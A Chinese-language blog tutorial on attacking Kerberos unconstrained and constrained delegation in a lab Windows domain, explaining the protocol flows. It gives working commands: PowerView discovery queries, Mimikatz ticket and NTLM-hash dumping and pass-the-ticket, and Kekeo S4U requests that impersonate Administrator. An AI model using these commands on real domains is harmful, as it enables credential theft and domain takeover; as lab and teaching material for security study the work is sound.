白袍的小行星

域渗透--Kerberos委派

字数统计: 1.7k阅读时长: 6 min
2020/04/14 Share

委派(Delegation)是kerberos相对于NTLM认证独有的特性,指的是A可以让B“代理”自己去访问C服务,说是代理,也可以理解为“假冒”

具体为:域中A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,因为用的是A的身份,所以只有A有权限访问C的时候,委派才能成功。

分类

1. 非约束委派(Unconstrained delegation)

原理

即无限制的转发,B可以用从A处得到的TGT访问任意服务,其中B也可以是任意服务。

流程如下:

  1. 用户向KDC请求可转发TGT,记为TGT1
  2. KDC返回TGT1
  3. 用户通过TGT1向KDC请求转发TGT2
  4. KDC返回TGT2
  5. 用户通过TGT1向KDC申请访问服务1的RST
  6. KDC返回RST
  7. 用户发送RST、TGT1、TGT2和TGT2的SessionKey给服务1
  8. 服务1通过用户的TGT2请求KDC,以用户名义请求服务2的RST(服务访问票据)
  9. KDC给服务1返回服务2的RST
  10. 服务1以用户名义向服务2发出请求
  11. 服务2响应服务1的请求
  12. 服务1响应用户第7步骤的请求

这个流程有一个问题:TGT2是不被限制的,服务1完全可以用它来请求访问任何想访问的服务。攻击其实就是利用的这点,使用从高权限账户处得到的TGT去获取权限。

环境搭建

下面演示一下怎么利用,第一步当然是搭建环境。

环境是这样:

test用户为域普通用户,ttt为本地管理员,Windows 7为域内主机。

liukaifeng01用户为管理员,Windows Server 2008为域管。

首先将test配置为服务账号:

setspn -U -A variant/golden test //配置test用户为服务账户
setspn -l test //查看是否配置成功

再将test用户设置为非约束委派模式:

然后在Windows 7上登录test用户,启动WinRM服务,这里自行百度。

发现

利用的第一步是发现,即我们如何知道域内哪些用户和主机开启了委派。

这里使用PowerSploit完成,使用Import-Module加载PowerView.ps1进行查询。

Get-NetUser -Unconstrained -Domain god.org //查询配置非约束委派的账户
Get-NetComputer -Unconstrained -Domain god.org //查询配置非约束委派的主机

脚本需要在域控主机上运行。

利用

首先使用DC上的Administrator用户访问win7的WinRM服务,再在win7登录本地管理员账户,抓取出TGT。

mimikatz "privilege::debug" "sekurlsa::tickets /export" exit //导出票据

此条即为TGT:

导入票据:

mimikatz "privilege::debug" "kerberos::ptt <票据名称>" "kerberos::list" exit //导入票据

访问域控的共享目录,发现已经可以正常访问:

坑点:必须让域控的用户访问非约束委派的服务才可以得到TGT,看某篇文章写得不甚清楚,让我绕了好久。

只有主机账户和服务账户可以进行委派设置,要是用服务账户就必须得用此账户启动相应的服务,然后让域控来访问此服务;主机账户我测试没有成功,只抓取到了访问文件服务(cifs)的票据,而不是TGT,具体原因不明。

另一种利用方法

如果域管主机没有和委派主机/账户产生交互,是否还能进行攻击呢?

答案是可以。

这种方法需要域控主机开启Print Spooler服务,然后攻击者主动要求域控访问委派主机以获取TGT。

条件:

  1. 主机开启Print Spooler服务,默认开启
  2. 一台开启非受限委派的主机账户
  3. 有一个域普通用户

我们还需要两个工具:RubeusSpoolSample,具体不演示了,因为SpoolSample一直崩溃,无语。

2. 约束委派(Constrained delegation)

原理

因为非约束委派很不安全,所以微软又发布了约束委派,区别在于不会直接把TGT给服务,所发送的认证信息中包含了允许访问的服务,即不允许服务代表用户去访问其他服务。

其实现主要依靠一组kerberos扩展:S4U2Self(Service for User to Self)和S4U2Proxy(Service for User to Proxy)

流程如下:

  1. 用户向服务1发出请求
  2. 在此之前服务1已经得到了用户访问服务1的TGT,接下来通过S4U2self扩展模拟用户向KDC请求ST
  3. KDC返回给服务1一个用于验证服务1的ST
  4. 服务1使用第三步的ST响应用户的请求
  5. 用户再次向服务1发起请求,委派服务1访问服务2,条件是服务1验证通过且有有效的TGT,以及服务1有用户到服务1的可转发ST,即ST1
  6. 服务1通过S4U2Proxy扩展请求KDC返回一个用于验证服务2的ST,即ST2
  7. KDC在验证PAC的数字签名后,如果没有失败(成功或没有PAC),将返回ST2给服务1
  8. 服务1代表用户使用ST2请求服务2,服务2判断此用户是否经过KDC验证,依据为ST2中的cname和crealm标识
  9. 服务2响应服务1的请求
  10. 服务1响应用户请求

环境搭建

这次多了一台计算机,所以环境如下:

Windows server 2008 OWA 域控

Windows server 2008 EX 服务2

Windows 7 STU1 服务1

将机器账户STU1$在域控上这样配置:

发现

还是使用PowerSploit,只不过需要dev版而不是master版:

Get-DomainUser -TrustedToAuth -Domain god.org

利用

先抓出STU1主机帐户的NTLM hash,也就是STU1$

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

使用kekeo来申请TGT:

tgt::ask /user:<账户名称> /domain:<域> /ntlm:<抓取到的哈希>

通过TGT,请求一张以Administrator用户身份访问对应服务2(ex.god.org的cifs服务)的ST:

tgs::s4u /tgt:<TGT票据名称> /user:<要伪造的用户> /service:<对应的服务>

具体格式如图:

导入此ST,我们的本地管理员便可以访问ex.god.orgcifs服务了:

再谈原理

我们提到约束委派基于S4U2Self(Service for User to Self)和S4U2Proxy(Service for User to Proxy)这两个扩展,那么它们分别在此过程中起了什么作用呢?

S4U2Self扩展在第二步使用,模拟用户请求了KDC,实际上是代表了用户,让KDC验证用户是否

合法,而S4U2Proxy则是让服务1以用户身份只能通过ST1获取到ST2,禁止服务1直接去访问其他服务。

我们再来看看本次利用中的票据详情:

票据标志里有了forwardable字段,如果没有此字段的票据是无法转发的。

结语

有关Kerberos委派的相关暂且写到这里,本来还想写资源约束委派的,但是手头上没有Windows server 2012的环境,都是2008的,所以还是先搁置下来了,有时间补上。

CATALOG
  1. 1. 分类
    1. 1.1. 1. 非约束委派(Unconstrained delegation)
      1. 1.1.1. 原理
      2. 1.1.2. 环境搭建
      3. 1.1.3. 发现
      4. 1.1.4. 利用
      5. 1.1.5. 另一种利用方法
    2. 1.2. 2. 约束委派(Constrained delegation)
      1. 1.2.1. 原理
      2. 1.2.2. 环境搭建
      3. 1.2.3. 发现
      4. 1.2.4. 利用
      5. 1.2.5. 再谈原理
  2. 2. 结语